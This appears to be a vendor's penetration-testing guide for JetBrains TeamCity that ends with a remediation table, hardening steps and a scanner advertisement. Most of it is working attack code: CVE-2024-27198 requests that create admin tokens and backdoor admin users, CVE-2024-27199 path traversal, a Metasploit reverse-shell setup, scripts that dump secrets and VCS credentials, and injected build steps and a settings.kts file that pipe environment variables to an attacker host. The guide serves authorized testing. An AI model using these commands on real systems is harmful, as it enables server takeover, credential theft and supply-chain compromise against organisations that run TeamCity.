JetBrains TeamCity is one of the most widely deployed CI/CD platforms in enterprise environments. In early 2024, CVE-2024-27198 (CVSS 9.8) allowed unauthenticated attackers to create admin-level access tokens and take full control of the server — a vulnerability exploited by multiple nation-state threat actors within days of disclosure. This guide covers authorized security testing for TeamCity deployments, from CVE exploitation through build agent abuse, secret exfiltration, and pipeline injection.
TeamCity exposes version information in multiple locations. Identifying the version early determines which CVEs are applicable and how much time to spend on unpatched vulnerability chains versus authenticated attack paths.
# TeamCity default port
# HTTP: 8111 (default), HTTPS: 8443 (or behind reverse proxy on 443/80)
# Version fingerprinting from login page
curl -s http://TARGET:8111/login.html | grep -i "version\|TeamCity"
# REST API version endpoint (often unauthenticated on older versions)
curl -s http://TARGET:8111/app/rest/server | python3 -m json.tool | grep -i version
# Also check the about page
curl -s http://TARGET:8111/about.html | grep -i version
# Nmap service scan
nmap -sV -p 8111,8443 TARGET
# Check for TeamCity version in HTTP headers
curl -I http://TARGET:8111/
TeamCity versions before 2023.11.4 and 2023.05.x before 2023.05.6 are vulnerable to CVE-2024-27198. The vendor released patches on March 4, 2024, but exploitation began within 24 hours of the advisory.
CVE-2024-27198 allows an unauthenticated attacker to create new administrator accounts or access tokens by exploiting a path traversal bug in the TeamCity request routing layer. The server processes certain paths through an unauthenticated code path that has access to admin token creation endpoints.
# CVE-2024-27198: unauthenticated admin token creation
# The bypass uses a URL fragment/path injection to reach the token API
# without authentication enforcement
# Step 1: Create an admin access token (no credentials needed)
curl -X POST "http://TARGET:8111/app/rest/users/id:1/tokens/RPC2024" \
--path-as-is \
-v 2>&1 | grep -i "token\|value\|error"
# Alternative exploit path (variant)
curl -X POST \
"http://TARGET:8111/app/rest/users/id:1/tokens/pwn?jsp=/app/rest/users/id:1/tokens/pwn&page=.jsp" \
-v
# If successful, response contains admin token:
# {"name":"RPC2024","creationTime":"...","value":"eyJ0eXAiOiJKV1Qi..."}
# Step 2: Use the token to verify admin access
TOKEN="eyJ0eXAiOiJKV1Qi..." # from previous step
curl -H "Authorization: Bearer $TOKEN" \
"http://TARGET:8111/app/rest/server" | python3 -m json.tool
# Step 3: Create a new admin user for persistence
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"http://TARGET:8111/app/rest/users" \
-d '{
"username": "pentester",
"password": "PentestAccess2024!",
"email": "pentester@test.com",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}'
# Nuclei template for CVE-2024-27198 detection
nuclei -target http://TARGET:8111 -id CVE-2024-27198 -v
# Metasploit module (available since March 2024)
msfconsole -q -x "
use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198;
set RHOSTS TARGET;
set RPORT 8111;
set PAYLOAD cmd/unix/reverse_bash;
set LHOST ATTACKER;
set LPORT 4444;
run
"
# Manual PoC: create admin user and extract all tokens
curl -X POST "http://TARGET:8111/app/rest/users" \
--path-as-is \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"A1b2C3d4!","name":"test","email":"x@x.com"}' \
-v 2>&1 | grep "HTTP\|id\|username"
CVE-2024-27199 (CVSS 7.3) is a companion vulnerability released alongside CVE-2024-27198. It allows an unauthenticated attacker to traverse paths within the TeamCity application to access server configuration, read administrative data, and modify certain server settings without credentials.
# CVE-2024-27199: path traversal to read server configuration
# Affects TeamCity before 2023.11.4 and 2023.05.x before 2023.05.6
# Read server info via path traversal
curl "http://TARGET:8111/res/icons/../../app/rest/server" \
--path-as-is -v
# Modify administrator password via path traversal
curl -X POST "http://TARGET:8111/res/../admin/dataDir.html?action=edit" \
--path-as-is \
-d "fileName=config/main-config.xml&content=..." -v
# Read build configuration files
curl "http://TARGET:8111/res/../app/rest/projects/id:_Root/parameters" \
--path-as-is -H "Content-Type: application/json"
# Access admin settings panel
curl "http://TARGET:8111/res/../admin/admin.html" --path-as-is -v
TeamCity's REST API exposes a comprehensive management interface. Authenticated attackers (or those who obtained tokens via CVE-2024-27198) can enumerate and extract all access tokens, service account credentials, and project-level parameters including secrets marked as password-type fields.
# With admin token from CVE-2024-27198 or compromised credentials
TOKEN="your_admin_token_here"
BASE="http://TARGET:8111"
# List all users and their tokens
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/users" | python3 -m json.tool
# List all access tokens for a specific user
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/users/username:admin/tokens" | python3 -m json.tool
# List ALL projects
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/projects" | python3 -m json.tool
# Extract parameters from a project (includes passwords if admin)
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/projects/id:ProjectId/parameters" | python3 -m json.tool
# Get parameters for all build configs in a project
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/buildTypes" | python3 -m json.tool
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/buildTypes/id:BUILD_CONFIG_ID/parameters" | python3 -m json.tool
# Dump all VCS roots (contains repository credentials)
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/vcs-roots" | python3 -m json.tool
# Get specific VCS root with credentials
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/vcs-roots/id:VCS_ROOT_ID/properties" | python3 -m json.tool
#!/bin/bash
# Enumerate all TeamCity secrets (authorized pentest use only)
TOKEN="$1"
BASE="$2"
echo "[+] Enumerating all build configurations..."
BUILD_TYPES=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/buildTypes?fields=buildType(id,name)" | \
python3 -c "import sys,json; data=json.load(sys.stdin); [print(bt['id']) for bt in data.get('buildType',[])]")
for BT_ID in $BUILD_TYPES; do
echo "[*] Build config: $BT_ID"
curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/buildTypes/id:$BT_ID/parameters" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for p in data.get('property', []):
if p.get('type', {}).get('rawValue','') == 'PASSWORD' or 'password' in p.get('name','').lower() or 'secret' in p.get('name','').lower():
print(f\" SECRET: {p['name']} = {p.get('value','[encrypted]')}\")
"
done
echo "[+] Enumerating VCS roots..."
curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/vcs-roots?fields=vcs-root(id,name,properties)" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for vr in data.get('vcs-root', []):
print(f\"\\nVCS Root: {vr.get('name')}\")
for p in vr.get('properties', {}).get('property', []):
if any(k in p.get('name','').lower() for k in ['password','token','key','secret','auth']):
print(f\" {p['name']}: {p.get('value','[encrypted]')}\")
"
TeamCity build agents execute build steps and have access to all environment variables configured in the project and build configuration. A compromised or rogue build agent can exfiltrate all secrets, access connected systems, and deploy artifacts to production registries.
# Malicious build step inserted by compromised admin account
# Navigate to: Build Configuration > Build Steps > Add New Step (Command Line)
# Environment variable dump
SCRIPT=$(cat << 'EOF'
#!/bin/bash
# Exfiltrate all env vars (authorized test scope only)
env | sort | curl -X POST "http://ATTACKER:9001/exfil" \
--data-urlencode "data@-" \
-H "Content-Type: application/x-www-form-urlencoded"
# Print to build log (visible in TeamCity UI)
env | grep -E "TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL" | sort
EOF
)
# Via REST API: add malicious build step
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
"$BASE/app/rest/buildTypes/id:BUILD_ID/steps" \
-d '
Debug Environment
'
# Trigger a build to execute
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"$BASE/app/rest/buildQueue" \
-d '{
"buildType": {"id": "BUILD_ID"},
"comment": {"text": "Security test run"}
}'
# Retrieve build log with exfiltrated variables
BUILD_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/buildQueue" | python3 -c "import sys,json; print(json.load(sys.stdin)['build'][0]['id'])")
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/builds/id:$BUILD_ID/log" | grep -A2 -B2 "TOKEN\|SECRET\|KEY"
# A rogue agent registered to TeamCity receives build jobs and their env vars
# Agent communication uses the buildAgent.properties configuration
# TeamCity agent connects to server to register
# If agent authorization is open (unauthenticated) — misconfiguration
curl -s http://TARGET:8111/app/rest/agents | python3 -m json.tool
# Check if unauthorized agents can register
# Misconfigured: Administration > Agents > Unauthorized tab shows pending agents
# New agents connect, appear as "unauthorized" — admin accepts or auto-authorizes
# With admin access, authorize a rogue agent
curl -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"$BASE/app/rest/agents/id:ROGUE_AGENT_ID" \
-d '{"authorized": true}'
TeamCity stores VCS (Version Control System) credentials to check out code from Git, SVN, Mercurial, and other repositories. These credentials are encrypted in TeamCity's internal database but accessible to admin users via the REST API and potentially in plaintext in exported project XML configurations.
# Extract VCS root credentials via REST API (admin)
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,properties(property))" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for vr in data.get('vcs-root', []):
print(f'=== {vr[\"name\"]} ({vr[\"vcsName\"]}) ===')
for p in vr.get('properties', {}).get('property', []):
print(f' {p[\"name\"]}: {p.get(\"value\", \"[encrypted]\")}')
print()
"
# Export project XML (includes VCS credentials in encrypted form)
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/projects/id:PROJECT_ID?fields=buildTypes,parameters,vcsRoots" > project_backup.xml
# Check exported project ZIP files — may include plaintext credentials
# Admin > Projects > Import/Export
curl -O -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/projects/id:PROJECT_ID/export"
# Git repository credentials in TeamCity data directory (server file system)
# Find: $TEAMCITY_DATA_DIR/config/projects/*/pluginData/vcs/*.xml
find /opt/teamcity -name "*.xml" -path "*/vcs*" 2>/dev/null | xargs grep -l "password\|token" 2>/dev/null
TeamCity build configurations store build steps in its database and in version-controlled .teamcity project XML files. If a project is set to synchronize configuration from VCS, an attacker who compromises the source repository can inject malicious build steps that execute with access to all TeamCity secrets.
# Check if project uses VCS-stored settings (Kotlin DSL or XML in .teamcity/)
curl -H "Authorization: Bearer $TOKEN" \
"$BASE/app/rest/projects/id:PROJECT_ID?fields=id,name,settings(synchronizationMode,cleanupMode)" \
| python3 -m json.tool
# If synchronizationMode is "PREFER_VCS" or "EXTERNAL", injecting
# .teamcity/settings.kts or .teamcity/pom.xml in the repo adds build steps
# Example: malicious .teamcity/settings.kts injection
cat > /tmp/.teamcity/settings.kts << 'EOF'
import jetbrains.buildServer.configs.kotlin.*
version = "2023.11"
project {
buildType {
id("MaliciousStep")
name = "Security Scan"
steps {
exec {
commandExecutable = "/bin/bash"
arguments = "-c 'env | curl -X POST http://ATTACKER:9001 --data-binary @-'"
}
}
triggers {
vcs {}
}
}
}
EOF
# Build parameter injection via REST (authenticated)
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
"$BASE/app/rest/buildTypes/id:BUILD_ID/parameters" \
-d ' '
Fresh TeamCity installations prompt for admin password creation, but some deployment automation scripts or Docker images preconfigure weak credentials. Additionally, several common misconfigurations expand the attack surface significantly.
# Common default credentials to test
# admin / admin
# admin / password
# teamcity / teamcity
for PASS in admin password teamcity changeme Password1 Admin123; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-u "admin:$PASS" "http://TARGET:8111/app/rest/server")
echo "admin:$PASS -> HTTP $STATUS"
done
# Check for guest user access (TeamCity has a guest feature)
curl -s "http://TARGET:8111/app/rest/projects?guest=1" | python3 -m json.tool
# 200 = guest access enabled (information disclosure)
# Check for open agent registration (agents auto-authorized)
curl -s "http://TARGET:8111/app/rest/agents?includeUnauthorized=true" | python3 -m json.tool
# Check for debug endpoints
curl -s "http://TARGET:8111/app/rest/debug/jmx?loadConfig=true" -v
curl -s "http://TARGET:8111/app/rest/debug/threads" -v
| Finding | Severity | Fix |
|---|---|---|
| CVE-2024-27198 (auth bypass) | Critical | Upgrade to 2023.11.4+ or 2023.05.6+; or disable REST API if not needed until patched |
| CVE-2024-27199 (path traversal) | High | Upgrade to 2023.11.4+ or 2023.05.6+; apply same patch as CVE-2024-27198 |
| Default credentials | Critical | Change admin password; audit all user accounts; enforce SSO (LDAP/SAML) |
| Guest access enabled | Medium | Administration > Authentication > uncheck Guest Login; disable in teamcity-startup.properties |
| Auto-authorize agents | High | Administration > Agents > turn off automatic authorization; require manual agent approval |
| REST API internet-exposed | High | Restrict TeamCity to internal network only; use WAF with IP allowlist for external access |
| VCS credentials in plaintext export | High | Rotate all VCS credentials post-incident; use SSH key auth instead of username/password |
| VCS-synchronized config (code injection) | High | If using VCS settings sync, restrict who can push to the .teamcity directory; review all incoming config changes |
| Build logs retain secrets | Medium | Mark parameters as password-type; use parameter references instead of inline secrets in build steps |
# 1. Upgrade TeamCity immediately to latest supported version
# https://www.jetbrains.com/teamcity/download/
# 2. Restrict TeamCity to internal network only
# Nginx reverse proxy with IP allowlist
location /app/rest/ {
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
proxy_pass http://teamcity:8111;
}
# 3. Force HTTPS
# teamcity-startup.properties:
# teamcity.https.enabled=true
# 4. Disable guest access
# Administration > Authentication > Authentication modules
# Remove "Guest" from the list
# 5. Enable 2FA for all admin users
# Administration > Authentication > Two-factor authentication
# 6. Audit build steps for secret exposure
# Administration > Audit Log — filter by "Build configuration edit"
# 7. Use SSH keys for VCS instead of password-based auth
# VCS Root settings: Authentication method = SSH Key
Ironimo's scanner detects TeamCity version vulnerabilities including CVE-2024-27198 and CVE-2024-27199, tests for guest access and default credentials, audits REST API exposure, and checks for misconfigured agent authorization — all in a single authorized scan.
Start free scan